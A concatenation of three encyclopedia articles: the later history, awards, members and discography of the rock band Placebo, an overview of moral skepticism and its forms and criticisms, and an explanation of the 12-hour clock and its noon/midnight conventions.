In January 2009, Placebo announced that they signed with PIAS Entertainment, with Brian Molko commenting: "We were very lucky to have so many great labels interested in signing us, it means a lot, especially after 12 years of releasing records!"
Placebo also confirmed that they had finished working on the follow-up to 2006's Meds and planned to release it on 8 June 2009. The full track list was announced on the band's website in March 2009. The album, Battle for the Sun, was the first to feature new drummer Steve Forrest, and was recorded with producer David Bottrill, also known for his work with Tool, Muse, Peter Gabriel and Silverchair.
The album's title track "Battle for the Sun" debuted on Zane Lowe's BBC Radio 1 show on 17 March 2009. Subsequently, it became available for free download on the band's official website. On the same day as the track's debut, they played a secret concert in London, performing some of the material from the album, including the tracks "Ashtray Heart", "Julien", "Kitty Litter", "Speak in Tongues" and "Devil in the Details". In their review for the gig, Rock Sound wrote that "the new album is a heavier-sounding record compared to its predecessor" and recalls the atmosphere of Without You I'm Nothing. Molko would describe the album in 2013 as "the sound of a band trying to find a new identity, to find out who they were again".
The first single, "For What It's Worth", made its radio debut on 20 April 2009, with the official release date being 1 June. It became available for download on iTunes and eMusic on 21 April, and the video for the single premiered on MySpace at the same time.
In May 2009, Placebo performed three concerts in the UK, at venues in Sheffield, Bournemouth and London, before attending the festival season in Europe and Asia. When unveiling the new album with a full track-by-track rundown, Molko told the Scottish edition of News of the World: "It feels like a new beginning... we're reinvigorated, refreshed and ready to take on the world".
From 29 to 31 May 2009 fans who signed up for Placebo's official mailing list received a unique code for logging into five listenings of the album in its entirety.
At the beginning of August 2009, Placebo canceled a concert in Osaka, Japan, after singer Brian Molko fainted on stage. The band later explained in an official statement that the singer had picked up a virus, which, combined with jet lag and exhaustion, resulted in him collapsing. Following this incident, Placebo also canceled their North American tour.
On 5 November 2009, Placebo won the MTV Europe Music Awards for Best Alternative.
In December 2009, Placebo released iTunes Live: London Festival '09, a live album recorded at the iTunes Festival at The Roundhouse, Camden on 14 July 2009.
In February–April 2010, the band toured Southeast Asia, Australia and South America. The final leg of the tour saw Placebo play Israel and Lebanon, before returning to Europe for a series of festivals and featured concerts. A performance in Thessaloniki, Greece in September 2010 was poorly received by the crowd, sparking boos from a crowd of thousands after performing a 50-minute set.
On 27 September 2010, Placebo released Battle for the Sun Redux Edition, which included the single version of "Bright Lights" and a bonus disc featuring several re-recorded old tracks and the new songs "Monster Truck" and "Trigger Happy Hands". The last shows of the Battle for the Sun tour took place in London's Brixton Academy on 27–28 September 2010.
The band should have also toured Spain, Portugal, Japan and South Korea, but the shows were canceled due to Molko's poor health.
In August 2011, Placebo went on a mini-tour of two shows in Berlin and Stuttgart.
On 31 October 2011, the band released their second live video album, We Come in Pieces, documenting the live performance at the Brixton Academy on 28 September 2010. The DVD also featured a short movie, "Trigger Happy Hands", and a documentary, "Coming Up for Air", directed by Charlie Targett-Adams.
On 12 December 2011, Placebo released an iTunes exclusive live album, Live at Angkor Wat, which featured the semi-acoustic concert performed at Angkor Wat in 2008.
Also, in 2010, in support for Battle for the Sun, Placebo (band) did a concert at the Brixton Academy. Later in 2015, there was a film named Placebo - We Come in Pieces.
B3, Loud Like Love and Forrest's departure (2012–2015)
On 29 November 2011 Placebo announced they would be headlining the Sundance Film and Music Festival in April 2012. In January 2012 the band confirmed their participation at the Rock im Pott festival scheduled for 25 August 2012 at Arena AufSchalke, Germany, along with the Red Hot Chili Peppers. Bass player Stefan Olsdal also confirmed for Billboard that the band would return to the studio in 2012 to record the follow-up to Battle for the Sun.
From April to September 2012, Placebo toured Europe. In June and July 2012, Placebo also played exclusive concerts in Madrid, Paris, Rome, Zurich and Hamburg for the launch of the new Mercedes-Benz A-Class. The band canceled a concert during an Austrian festival due to Molko's health problems, leaving the stage after only one song.
In August 2012, Molko revealed on Italy's Rai Radio 2 that a new single titled "B3" would be released in September. A five-track EP titled B3 was released in October 2012. It was reissued on 10" vinyl for Record Store Day 2013.
During the Battle for the Sun tour, Molko and Olsdal both stated on various occasions that they were working on material for the next studio album.
On 21 May 2013, Placebo announced the release of their seventh studio album, Loud Like Love, and confirmed a tour of the United Kingdom in December. On 12 July, the band released a lyric video for the song "Too Many Friends", the first single on the new album, with the official music video being subsequently released in August and featuring author Bret Easton Ellis.
Produced by Adam Noble, the album was released on 16 September 2013 in five different formats. The same day, Placebo streamed live a 90-minute show, Loud Like Love TV, on their official YouTube channel. The show featured interviews with the band and their collaborators, live performances and behind the scenes content.
Brian Molko described the recording of the album as a positive experience, commenting:
...I see this record as a collection of 10 small fictions, based on my own experience and my own feelings around relationships over the past 20 years, I feel that I've been able to use the device [of] storytelling, which I think I've become a little bit more adept at, create songs with characters. Paradoxically, because of that, I've been able to be more honest, more direct and more personal.
In November–December 2013 the band went on an arena tour in Europe and the United Kingdom to promote the new album. During February–April 2014 Placebo toured Australia, Mexico and South America. Beginning in June 2014, they went on a tour in Russia and Europe. In October 2014, they went on their first full tour of the United States and Canada in six years.
On 2 February 2015, the band announced the departure of drummer Steve Forrest. The end of Forrest's career with the band was "very amicable" and occurred due to the drummer's intention to "pursue his own musical ambitions". Placebo announced that for the planned 2015 gigs a new sideman, Matt Lunn, formerly of the band Colour of Fire, who supported Placebo on tour in 2004, would take the drummer's seat. Lunn continued to perform with Placebo during the A Place for Us to Dream tour.
On 12 February, Placebo announced that they would stream their entire back catalogue for the first time in their history.
In February–March 2015, Placebo toured Ireland and the United Kingdom, culminating with two shows in London's Hammersmith Apollo. During May–July 2015 they toured Europe, Morocco, Russia and Georgia. During the Morocco concert, bassist Stefan Olsdal, who is openly gay, appeared
shirtless, having the number 489 crossed out on his torso, as a protest against Article 489 of the Moroccan Criminal Code, which punishes same-sex relationships with imprisonment. Olsdal also used a rainbow guitar on stage, the rainbow being a well-known LGBT symbol.
20 Years of Placebo and A Place for Us to Dream (2015–2018)
Marking twenty years since the release of their debut album, Placebo announced in June 2015 the re-release of their first five albums on 12" coloured vinyl.
On 19 August 2015, Placebo performed an MTV Unplugged concert in London. The setlist for this performance consisted of many older Placebo songs, some of them not played live in a decade. On 27 November 2015, MTV Unplugged was released on CD, DVD, Blu-ray and vinyl.
In March 2016, Placebo announced the anniversary tour "A Place for Us to Dream – 20 Years of Placebo", with the first dates scheduled for December 2016 in the UK and Ireland. Molko stated that the setlist would include songs that he had sworn never to play again, adding: "This tour is very much for the fans and a chance for us to revisit a lot of our early material. So, if you want to see us play songs like 'Pure Morning' and 'Nancy Boy' which we haven't played in almost ten years and may not play again, then you'd better come along to these shows!"
Alt.Russia, a documentary containing scenes from the 2014 Placebo tour in Russia, was released on 10 May 2016. Narrated by Stefan Olsdal, the documentary was also a commentary towards the contemporary social and political issues in Russia, especially homophobia.
On 4 August 2016, Placebo announced the release of a compilation album, A Place for Us to Dream and of an EP, Life's What You Make It, collecting previously unreleased material. The compilation album and the EP were both released on 7 October 2016. Both contained the new single "Jesus' Son", which was released on 19 August 2016, accompanied by a music video.
On 7 October 2016, the band also released a video for the song "Every You Every Me", filmed in 1998 but never shown before to the public.
The band kicked off their 20 Years of Placebo tour in Aarhus, Denmark. The concert was abruptly cut short, however, already two songs into the set, as Molko became incoherent and had to be removed from the stage. An official statement from the band explained that Molko had an adverse reaction to new medication. The tour continued in the next evenings without incidents, the band receiving positive reviews for their performances. During October–November 2016, the band toured Europe and Russia. Placebo's December 2016 concerts in the UK and Ireland featured shoegaze supergroup Minor Victories as the opening act.
In March–April 2017, Placebo toured Mexico. During April–August 2017, they played a string of gigs across Europe, including appearances at Greece's Rockwave Festival and the UK's Latitude Festival. In September 2017, Placebo performed seven shows in Australia. In October 2017, they embarked on a tour of the UK, ending with two shows at the Brixton Academy on 23 and 24 October 2017.
Placebo have participated in the 2018 Meltdown Festival, held at Southbank Centre in June 2018. The festival was curated by long-time Placebo collaborator Robert Smith. In June and July 2018, the band also went on four dates in Italy, Ukraine and Switzerland.
Never Let Me Go (2019–present)
On 25 July 2019, Olsdal revealed that Placebo are working on their eighth studio album. In January 2020, Placebo announced a new tour, including festival shows during June–July 2020 in Greece, Spain, Belgium, Ukraine and Russia. In March 2020, Olsdal announced that he and Molko had to put finishing their eighth studio album on hold due to the COVID-19 pandemic, and London being on lockdown, via a post on his official Instagram. On 15 September 2020, Dave McLean, one of Placebo's managers at RIVERMAN, tweeted their eighth studio album would be released in early 2021. On 13 September 2021 an announcement was made that the band will release a new single titled "Beautiful James" on 17 September 2021.
On 4 November 2021, Placebo announced their eighth studio album, Never Let Me Go. It will be released on 25 March 2022 on the Independent label, So Recordings. Never Let Me Go will be accompanied by a headline tour of Europe (including:Germany, Denmark, Norway, Sweden, Finland, Estonia, Poland, Netherlands, Italy, Switzerland, Czech Republic, Austria, Luxembourg, Belgium, France, Ireland) and the United Kingdom in 2022.
Musical style, influences and lyrics
Placebo's music has typically been labeled as alternative rock. They have, however, also incorporated different sounds in their music throughout their career. Critics have also described the band's sound as pop punk, industrial rock, Britpop, glam rock, gothic rock, electronic rock, post-punk revival, and experimental rock. Progressive rock elements in the band's earlier works along with grunge and punk rock influences were also noted.
Placebo's influences include David Bowie, Can, Iggy Pop and the Stooges, Sonic Youth, The Cure, Pixies, Nirvana, The Smiths, PJ Harvey, Depeche Mode and Nine Inch Nails.
Lyrically, Placebo's music contains many references to drugs and LGBT themes. The title of the song "Special K", for instance, is slang for ketamine. Molko has been open about his use of recreational drugs: in a 1997 interview with Kerrang! magazine he admitted that heroin was "probably the only drug on this planet I haven't tried". However, he later admitted to using heroin as well. Pharmaceutical drugs are also referenced, as evidenced by the band's name as well as the album Meds and its title track. Molko admitted in 2003 that many of his initial excesses were due to his mental issues; he was officially diagnosed with major depressive disorder in his late twenties. The singer claimed in 2016 that he gave up drugs completely after the recording and release of Meds.
Outsider themes are also explored, as evidenced in lyrics such as "the back of the class is where I'm from" on "One of a Kind" and "I'm forever black-eyed/A product of a broken home" on "Black-Eyed". Molko has been quoted as calling the band "for outsiders, by outsiders".
Awards and nominations
Žebřík Music Awards
!Ref.
|-
| 2000
| Black Market Music
| rowspan=2|Best International Album
|
| rowspan=10|
|-
| rowspan=9|2003
| Sleeping with Ghosts
|
|-
| rowspan=2|Themselves
| Best International Group
|
|-
| Best International Surprise
|
|-
| rowspan=2|Brian Molko
| Best International Male
|
|-
| Best International Personality
|
|-
| "The Bitter End"
| rowspan=2|Best International Song
|
|-
| rowspan=2|"Special Needs"
|
|-
| rowspan=2|Best International Video
|
|-
| "This Picture"
|
|-
| rowspan=6|2004
| rowspan=2|Themselves
| Best International Group
|
| rowspan=14|
|-
| Best International Surprise
|
|-
| rowspan=2|Brian Molko
| Best International Male
|
|-
| Best International Personality
|
|-
| rowspan=2|"Twenty Years"
| Best International Song
|
|-
| Best International Video
|
|-
| rowspan=4|2006
| Brian Molko
| Best International Male
|
|-
| Meds
| Best International Album
|
|-
| "Because I Want You"
| Best International Song
|
|-
| rowspan=3|Themselves
| rowspan=3|Best International Group
|
|-
| 2008
|
|-
| rowspan=3|2009
|
|-
| Brian Molko
| Best International Male
|
|-
| Battle for the Sun
| Best International Album
|
Other Awards
{| class=wikitable
|-
! Year !! Awards !! Work !! Category !! Result
|-
| rowspan=2|1997
| Kerrang! Awards
| rowspan=3|Themselves
| Best New British Band
|
|-
| rowspan=5|NME Awards
| rowspan=2|Best Band
|
|-
| rowspan=5|1999
|
|-
| Without You I'm Nothing
| Best Album
|
|-
| "You Don't Care About Us"
| rowspan=2|Best Single
|
|-
| rowspan=2|"Pure Morning"
|
|-
| Brit Awards
| Best British Video
|
|-
| rowspan="3"|2004
| Hungarian Music Awards
| Sleeping with Ghosts
| Best Foreign Rock Album
|
|-
| NRJ Music Awards
| rowspan="4" | Themselves
| International Duo/Group of the Year
|
|-
| rowspan=2|Lunas del Auditorio
| rowspan=2|Best Foreign Rock Artist
|
|-
| rowspan="4" | 2006
|
|-
| rowspan="2" | Kerrang! Awards
| Classic Songwriter Award
|
|-
| "Infra Red"
| Best Single
|
|-
| Los Premios MTV Latinoamérica
| rowspan="3" | Themselves
| Best Rock Artist – International
|
|-
| rowspan=2|2007
| ECHO Awards
| International Rock/Alternative Artist/Group of the Year
|
|-
| Lunas del Auditorio
| Best Foreign Rock Artist
|
|-
| rowspan="6" | 2009
| rowspan="3" | Kerrang! Awards
| Battle for the Sun
| Best Album
|
|-
| rowspan="2" | "For What It's Worth"
| Best Single
|
|-
| Best Video
|
|-
| MTV EMA
| rowspan="3"|Themselves
| Best Alternative
|
|-
| rowspan="2"|TMF Awards
| Best Rock International
|
|-
| Best Live International
|
|-
| rowspan="3" | 2010
| UK Music Video Awards
| "The Never-Ending Why"
| The Innovation Award
|
|-
| ECHO Awards
| rowspan=2|Themselves
| International Rock/Alternative Artist/Group of the Year
|
|-
| Lunas del Auditorio
| Best Foreign Rock Artist
|
|-
| rowspan="2" | 2014
| UK Music Video Awards
| "Too Many Friends"
| Best Alternative Video – UK
|
|-
| ECHO Awards
| rowspan="3" | Themselves
| International Rock/Alternative Artist/Group of the Year
|
|-
| 2015
| Artist and Manager Awards
| Artists' Artist Award
|
|-
| 2016
| ECHO Awards
| International Rock/Alternative Artist/Group of the Year
|
|-
| rowspan=2|2017
| UK Music Video Awards
| rowspan=2|"Life's What You Make It"
| Best Cinematography
|
|-
| Ibiza Music Video Festival
| Best Colourist
|
Legacy
Placebo have been cited as an influence on such bands as My Chemical Romance and Panic! at the Disco.
Band members
Current members
Brian Molko – lead vocals, guitars, bass, keyboards, harmonica, saxophone, percussion (1994–present)
Stefan Olsdal – bass, guitars, keyboards, backing vocals (1994–present)
Current touring members
Bill Lloyd – guitar, bass, keyboards (1996, 1998–present)
Nick Gavrilovic – keyboards, guitar, lap steel guitar, backing vocals (2008–present)
Matt Lunn – drums, percussion (2015–present)
Angela Chan – violin, keyboards, percussion, backing vocals (2017–present)
Former members
Steve Hewitt – drums, percussion (1994, 1995, 1996–2007)
Robert Schultzberg – drums, percussion, didgeridoo (1994–1995, 1995–1996)
Steve Forrest – drums, percussion, backing vocals (2008–2015)
Former touring members
Xavior Roide – keyboards, backing vocals (2003–2005)
Alex Lee – keyboards, guitar, backing vocals (2006–2007)
Fiona Brice – violin, keyboards, theremin, percussion, backing vocals (2008–2017)
Timeline
Discography
Placebo (1996)
Without You I'm Nothing (1998)
Black Market Music (2000)
Sleeping with Ghosts (2003)
Meds (2006)
Battle for the Sun (2009)
Loud Like Love (2013)
Never Let Me Go (2022)
References
Sources
External links
Astralwerks artists
English alternative rock groups
Kerrang! Awards winners
Musical groups established in 1994
Musical groups from London
British musical trios
LGBT-themed musical groups
PIAS Recordings artists
Rise Records artists
Virgin Records artists
1994 establishments in England
MTV Europe Music Award winners
Musical groups from the London Borough of Lewisham | [
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241265 | https://en.wikipedia.org/wiki/Moral%20skepticism | Moral skepticism | Moral skepticism (or moral scepticism in British English) is a class of metaethical theories all members of which entail that no one has any moral knowledge. Many moral skeptics also make the stronger, modal claim that moral knowledge is impossible. Moral skepticism is particularly opposed to moral realism: the view that there are knowable and objective moral truths.
Some defenders of moral skepticism include Pyrrho, Aenesidemus, Sextus Empiricus, David Hume, J. L. Mackie (1977), Max Stirner, Friedrich Nietzsche, Richard Joyce (2001), Michael Ruse, Joshua Greene, Richard Garner, Walter Sinnott-Armstrong (2006b), and the philosopher James Flynn. Strictly speaking, Gilbert Harman (1975) argues in favor of a kind of moral relativism, not moral skepticism. However, he has influenced some contemporary moral skeptics.
Forms of moral skepticism
Moral skepticism is divided into three subclasses: moral error theory (or moral nihilism), epistemological moral skepticism, and noncognitivism. All three of these theories reach the same conclusions, which are:
(a) we are never justified in believing that moral claims (claims of the form "state of affairs x is (morally) good," "action y is morally obligatory," etc.) are true, and, furthermore,
(b) we never know that any moral claim is true.
However, each method arrives at (a) and (b) by a different route.
Moral error theory holds that we do not know that any moral claim is true because
(i) all moral claims are false,
(ii) we have reason to believe that all moral claims are false, and
(iii) since we are not justified in believing any claim we have reason to deny, we are not justified in believing any moral claims.
Epistemological moral skepticism is a subclass of theory, the members of which include Pyrrhonian moral skepticism and dogmatic moral skepticism. All members of epistemological moral skepticism share two things: first, they acknowledge that we are unjustified in believing any moral claim, and second, they are agnostic on whether (i) is true (i.e. on whether all moral claims are false).
Pyrrhonian moral skepticism holds that the reason we are unjustified in believing any moral claim is that it is irrational for us to believe either that any moral claim is true or that any moral claim is false. Thus, in addition to being agnostic on whether (i) is true, Pyrrhonian moral skepticism denies (ii).
Dogmatic moral skepticism, on the other hand, affirms (ii) and cites (ii)'s truth as the reason we are unjustified in believing any moral claim.
Finally, Noncognitivism holds that we can never know that any moral claim is true because moral claims are incapable of being true or false (they are not truth-apt). Instead, moral claims are imperatives (e.g. "Don't steal babies!"), expressions of emotion (e.g. "stealing babies: Boo!"), or expressions of "pro-attitudes" ("I do not believe that babies should be stolen.")
Moral error theory
Moral error theory is a position characterized by its commitment to two propositions: (i) all moral claims are false and (ii) we have reason to believe that all moral claims are false. The most famous moral error theorist is J. L. Mackie, who defended the metaethical view in Ethics: Inventing Right and Wrong (1977). Mackie has been interpreted as giving two arguments for moral error theory.
The first argument people attribute to Mackie, often called the argument from queerness, holds that moral claims imply motivation internalism (the doctrine that "It is necessary and a priori that any agent who judges that one of his available actions is morally obligatory will have some (defeasible) motivation to perform that action"). Because motivation internalism is false, however, so too are all moral claims.
The other argument often attributed to Mackie, often called the argument from disagreement, maintains that any moral claim (e.g. "Killing babies is wrong") entails a correspondent "reasons claim" ("one has reason not to kill babies"). Put another way, if "killing babies is wrong" is true then everybody has a reason to not kill babies. This includes the psychopath who takes great pleasure from killing babies, and is utterly miserable when he does not have their blood on his hands. But, surely, (if we assume that he will suffer no reprisals) this psychopath has every reason to kill babies, and no reason not to do so. All moral claims are thus false.
Epistemological moral skepticism
All versions of epistemological moral skepticism hold that we are unjustified in believing any moral proposition. However, in contradistinction to moral error theory, epistemological moral skeptical arguments for this conclusion do not include the premise that "all moral claims are false." For example, Michael Ruse gives what Richard Joyce calls an "evolutionary argument" for the conclusion that we are unjustified in believing any moral proposition. He argues that we have evolved to believe moral propositions because our believing the same enhances our genetic fitness (makes it more likely that we will reproduce successfully). However, our believing these propositions would enhance our fitness even if they were all false (they would make us more cooperative, etc.). Thus, our moral beliefs are unresponsive to evidence; they are analogous to the beliefs of a paranoiac. As a paranoiac is plainly unjustified in believing his conspiracy theories, so too are we unjustified in believing moral propositions. We therefore have reason to jettison our moral beliefs.
Noncognitivism
See the full article for Non-cognitivism.
Criticisms
Criticisms of moral skepticism come primarily from moral realists. The moral realist argues that there is in fact good reason to believe that there are objective moral truths and that we are justified in holding many moral beliefs. One moral realist response to moral error theory holds that it "proves too much"—if moral claims are false because they entail that we have reasons to do certain things regardless of our preferences, then so too are "hypothetical imperatives" (e.g. "if you want to get your hair-cut you ought to go to the barber"). This is because all hypothetical imperatives imply that "we have reason to do that which will enable us to accomplish our ends" and so, like moral claims, they imply that we have reason to do something regardless of our preferences.
If moral claims are false because they have this implication, then so too are hypothetical imperatives. But hypothetical imperatives are true. Thus the argument from the non-instantiation of (what Mackie terms) "objective prescriptivity" for moral error theory fails. Russ Shafer-Landau and Daniel Callcut have each outlined anti-skeptical strategies. Callcut argues that moral skepticism should be scrutinized in introductory ethics classes in order to get across the point that "if all views about morality, including the skeptical ones, face difficulties, then adopting a skeptical position is not an escape from difficulty."
See also
Amoralism
Non-cognitivism
Perspectivism
Psychological determinism
Is–ought problem
References
Further reading
Butchvarov, Panayot (1989). Skepticism in Ethics, Indiana University Press.
Gibbard, Allan (1990). Wise Choices, Apt Feelings. Cambridge: Harvard University Press.
Harman, Gilbert (1975). "Moral Relativism Defended," Philosophical Review, pp. 3–22.
Harman, Gilbert (1977). The Nature of Morality. New York: Oxford University Press.
Joyce, Richard (2001). The Myth of Morality, Cambridge University Press.
Joyce, Richard (2006). The Evolution of Morality, MIT Press. (link)
Lillehammer, Halvard (2007). Companions in Guilt: arguments for ethical objectivity, Palgrave MacMillan.
Mackie, J. L. (1977). Ethics: Inventing Right and Wrong, Penguin.
Sinnott-Armstrong, Walter (2006a). "Moral Skepticism", The Stanford Encyclopedia of Philosophy, Edward N. Zalta (ed.). (link)
Sinnott-Armstrong, Walter (2006b). Moral Skepticisms, Oxford University Press.
Olson, Jonas (2014) Moral Error Theory: History, Critique, Defence, Oxford University Press.
Kalf, Wouter (2018) Moral Error Theory, Palgrave MacMillan.
External links
Ethical theories
Meta-ethics
Skepticism
Skepticism
Pyrrhonism | [
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241267 | https://en.wikipedia.org/wiki/12-hour%20clock | 12-hour clock | The 12-hour clock is a time convention in which the 24 hours of the day are divided into two periods: a.m. (from Latin , translating to "before midday") and p.m. (from Latin , translating to "after midday"). Each period consists of 12 hours numbered: 12 (acting as 0), 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 and 11.
The daily cycle starts at 12 midnight, runs through 12 noon, and continues until just before midnight at the end of the day. There is no widely accepted convention for how midday and midnight should be represented. The 12-hour clock was developed from the second millennium BC and reached its modern form in the 16th century AD.
The 12-hour time convention is common in several English-speaking nations and former British colonies, as well as a few other countries.
History and use
The natural day-and-night division of a calendar day forms the fundamental basis as to why each day is split into two cycles. Originally there were two cycles: one cycle which could be tracked by the position of the Sun (day), followed by one cycle which could be tracked by the Moon and stars (night). This eventually evolved into the two 12-hour periods which are used today, one called "a.m." starting at midnight and another called "p.m." starting at noon. Noon itself is rarely abbreviated today; but if it is, it is denoted "m."
The 12-hour clock can be traced back as far as Mesopotamia and ancient Egypt. Both an Egyptian sundial for daytime use and an Egyptian water clock for night-time use were found in the tomb of Pharaoh Amenhotep I. Dating to c. 1500 BC, these clocks divided their respective times of use into 12 hours each.
The Romans also used a 12-hour clock: daylight was divided into 12 equal hours (thus hours having varying length throughout the year) and the night was divided into four watches.
The first mechanical clocks in the 14th century, if they had dials at all, showed all 24 hours using the 24-hour analog dial, influenced by astronomers' familiarity with the astrolabe and sundial and by their desire to model the Earth's apparent motion around the Sun. In Northern Europe these dials generally used the 12-hour numbering scheme in Roman numerals but showed both a.m. and p.m. periods in sequence. This is known as the double-XII system and can be seen on many surviving clock faces, such as those at Wells and Exeter.
Elsewhere in Europe, numbering was more likely to be based on the 24-hour system (I to XXIV). The 12-hour clock was used throughout the British empire.
During the 15th and 16th centuries, the 12-hour analog dial and time system gradually became established as standard throughout Northern Europe for general public use. The 24-hour analog dial was reserved for more specialized applications, such as astronomical clocks and chronometers.
Most analog clocks and watches today use the 12-hour dial, on which the shorter hour hand rotates once every 12 hours and twice in one day. Some analog clock dials have an inner ring of numbers along with the standard 1-to-12 numbered ring. The number 12 is paired either with a 00 or a 24, while the numbers 1 through 11 are paired with the numbers 13 through 23, respectively. This modification allows the clock to also be read in 24-hour notation. This kind of 12-hour clock can be found in countries where the 24-hour clock is preferred.
Use by country
In several countries the 12-hour clock is the dominant written and spoken system of time, predominantly in nations that were part of the former British Empire, for example, the United Kingdom, Republic of Ireland, the United States, Canada (excluding Quebec), Australia, New Zealand, India, Pakistan, Bangladesh, Malaysia, and Malta, and others follow this convention as well, such as Egypt, Mexico, Nepal and the former American colony of the Philippines. In most countries, however, the 24-hour clock is the standard system used, especially in writing. Some nations in Europe and Latin America use a combination of the two, preferring the 12-hour system in colloquial speech but using the 24-hour system in written form and in formal contexts.
The 12-hour clock in speech often uses phrases such as ... in the morning, ... in the afternoon, ... in the evening, and ...at night. Rider's British Merlin almanac for 1795 and a similar almanac for 1773 published in London used them. Other than in English-speaking countries, the terms a.m. and p.m. are seldom used and often unknown.
Computer support
In most countries, computers by default show the time in 24-hour notation. Most operating systems, including Microsoft Windows and Unix-like systems such as Linux and macOS, activate the 12-hour notation by default for a limited number of language and region settings. This behaviour can be changed by the user, such as with the Windows operating system's "Region and Language" settings.
Abbreviations
The Latin abbreviations a.m. and p.m. (often written "am" and "pm", "AM" and "PM", or "A.M." and "P.M.") are used in English and Spanish. The equivalents in Greek are and , respectively, and in Sinhala () for (, – fore, pre) and () for (, – after, post). However, noon is rarely abbreviated in any of these languages, noon normally being written in full. In Portuguese, there are two official options and many others used, for example, using 21:45, 21h45 or 21h45min (official ones) or 21:45 or 9:45 p.m. In Irish, a.m. and i.n. are used, standing for ar maidin ("in the morning") and iarnóin ("afternoon") respectively.
Most other languages lack formal abbreviations for "before noon" and "after noon", and their users use the 12-hour clock only orally and informally. However, in many languages, such as Russian and Hebrew, informal designations are used, such as "9 in the morning" or "3 in the night".
When abbreviations and phrases are omitted, one may rely on sentence context and societal norms to reduce ambiguity. For example, if one commutes to work at "9:00", 9:00 a.m. may be implied, but if a social dance is scheduled to begin at "9:00", it may begin at 9:00 p.m.
Related conventions
Typography
The terms "a.m." and "p.m." are abbreviations of the Latin (before midday) and (after midday). Depending on the style guide referenced, the abbreviations "a.m." and "p.m." are variously written in small capitals ("" and ""), uppercase letters without a period ("AM" and "PM"), uppercase letters with periods, or lowercase letters ("am" and "pm" or, "a.m." and "p.m."). With the advent of computer generated and printed schedules, especially airlines, the "M" character is often omitted as providing no additional information as in "9:30A" or "10:00P".
Some style guides suggest the use of a space between the number and the a.m. or p.m. abbreviation. Style guides recommend not using a.m. and p.m. without a time preceding it.
The hour/minute separator varies between countries: some use a colon, others use a period (full stop), and still others use the letter h. (In some usages, particularly "military time", of the 24-hour clock, there is no separator between hours and minutes. This style is not generally seen when the 12-hour clock is used.)
Encoding
Unicode specifies codepoints for “a.m.” and “p.m.” symbols, which are intended to be used only with Chinese-Japanese-Korean (CJK) character sets, as they take up exactly the same space as one CJK character:
Informal speech and rounding off
In speaking, it is common to round the time to the nearest five minutes and/or express the time as the past (or to) the closest hour; for example, "five past five" (5:05). Minutes past the hour means those minutes are added to the hour; "ten past five" means 5:10. Minutes to, 'til and of the hour mean those minutes are subtracted; "ten of five", "ten 'til five", and "ten to five" all mean 4:50.
Fifteen minutes is often called a quarter hour, and thirty minutes is often known as a half hour. For example, 5:15 can be phrased "(a) quarter past five" or "five-fifteen"; 5:30 can be "half past five", "five-thirty" or simply "half five". The time 8:45 may be spoken as "eight forty-five" or "(a) quarter to nine".
In older English, it was common for the number 25 to be expressed as "five-and-twenty". In this way the time 8:35 may be phrased as "five-and-twenty to 9", although this styling fell out of fashion in the later part of the 1900s and is now rarely used.
Instead of meaning 5:30, the "half five" expression is sometimes used to mean 4:30, or "half-way to five", especially for regions such as the American Midwest and other areas that have been particularly influenced by German culture. This meaning follows the pattern choices of many Germanic and Slavic languages, including Serbo-Croatian, Dutch, Danish, Russian and Swedish, as well as Hungarian and Finnish.
Moreover, in situations where the relevant hour is obvious or has been recently mentioned, a speaker might omit the hour and just say "quarter to (the hour)", "half past" or "ten 'til" to avoid an elaborate sentence in informal conversations. These forms are often commonly used in television and radio broadcasts that cover multiple time zones at one-hour intervals.
In describing a vague time of day, a speaker might say the phrase "seven-thirty, eight" to mean sometime around 7:30 or 8:00. Such phrasing can be misinterpreted for a specific time of day (here 7:38), especially by a listener not expecting an estimation. The phrase "about seven-thirty or eight" clarifies this.
Some more ambiguous phrasing might be avoided. Within five minutes of the hour, the phrase "five of seven" (6:55) can be heard "five-oh-seven" (5:07). "Five to seven" or even "six fifty-five" clarifies this.
Formal speech and times to the minute
Minutes may be expressed as an exact number of minutes past the hour specifying the time of day (e.g., 6:32 p.m. is "six thirty-two"). Additionally, when expressing the time using the "past (after)" or "to (before)" formula, it is conventional to choose the number of minutes below 30 (e.g., 6:32 p.m. is conventionally "twenty-eight minutes to seven" rather than "thirty-two minutes past six").
In spoken English, full hours are often represented by the numbered hour followed by o'clock (10:00 as ten o'clock, 2:00 as two o'clock). This may be followed by the "a.m." or "p.m." designator, though some phrases such as in the morning, in the afternoon, in the evening, or at night more commonly follow analog-style terms such as o'clock, half past three, and quarter to four. O'clock itself may be omitted, telling a time as four a.m. or four p.m. Minutes ":01" to ":09" are usually pronounced as oh one to oh nine (nought or zero can also be used instead of oh). Minutes ":10" to ":59" are pronounced as their usual number-words. For instance, 6:02 a.m. can be pronounced six oh two a.m. whereas 6:32 a.m. could be told as six thirty-two a.m.
Confusion at noon and midnight
It is not always clear what times "12:00 a.m." and "12:00 p.m." denote. From the Latin words (midday), ante (before) and post (after), the term (a.m.) means before midday and (p.m.) means after midday. Since "noon" (midday, (m.)) is neither before nor after itself, the terms a.m. and p.m. do not apply. Although "12 m." was suggested as a way to indicate noon, this is seldom done and also does not resolve the question of how to indicate midnight.
The American Heritage Dictionary of the English Language states "By convention, 12 AM denotes midnight and 12 PM denotes noon. Because of the potential for confusion, it is advisable to use 12 noon and 12 midnight."
E. G. Richards in his book Mapping Time provided a diagram in which 12 a.m. means noon and 12 p.m. means midnight.
The style manual of the United States Government Printing Office used 12 a.m. for noon and 12 p.m. for midnight until its 2008 edition, when it reversed these designations and then retained that change in its 2016 revision.
Many U.S. style guides, and NIST's "Frequently asked questions (FAQ)" web page, recommend that it is clearest if one refers to "noon" or "12:00 noon" and "midnight" or "12:00 midnight" (rather than to "12:00 p.m." and "12:00 a.m."). The NIST website states that "12 a.m. and 12 p.m. are ambiguous and should not be used."
The Associated Press Stylebook specifies that midnight "is part of the day that is ending, not the one that is beginning."
The Canadian Press Stylebook says, "write noon or midnight, not 12 noon or 12 midnight." Phrases such as "12 a.m." and "12 p.m." are not mentioned at all. Britain's National Physical Laboratory "FAQ-Time" web page states "In cases where the context cannot be relied upon to place a particular event, the pair of days straddling midnight can be quoted"; also "the terms 12 a.m. and 12 p.m. should be avoided."
Likewise, some U.S. style guides recommend either clarifying "midnight" with other context clues, such as specifying the two dates between which it falls, or not referring to the term at all. For an example of the latter method, "midnight" is replaced with "11:59 p.m." for the end of a day or "12:01 a.m." for the start of a day. That has become common in the United States in legal contracts and for airplane, bus, or train schedules, though some schedules use other conventions. Occasionally, when trains run at regular intervals, the pattern may be broken at midnight by displacing the midnight departure one or more minutes, such as to 11:59 p.m. or 12:01 a.m.
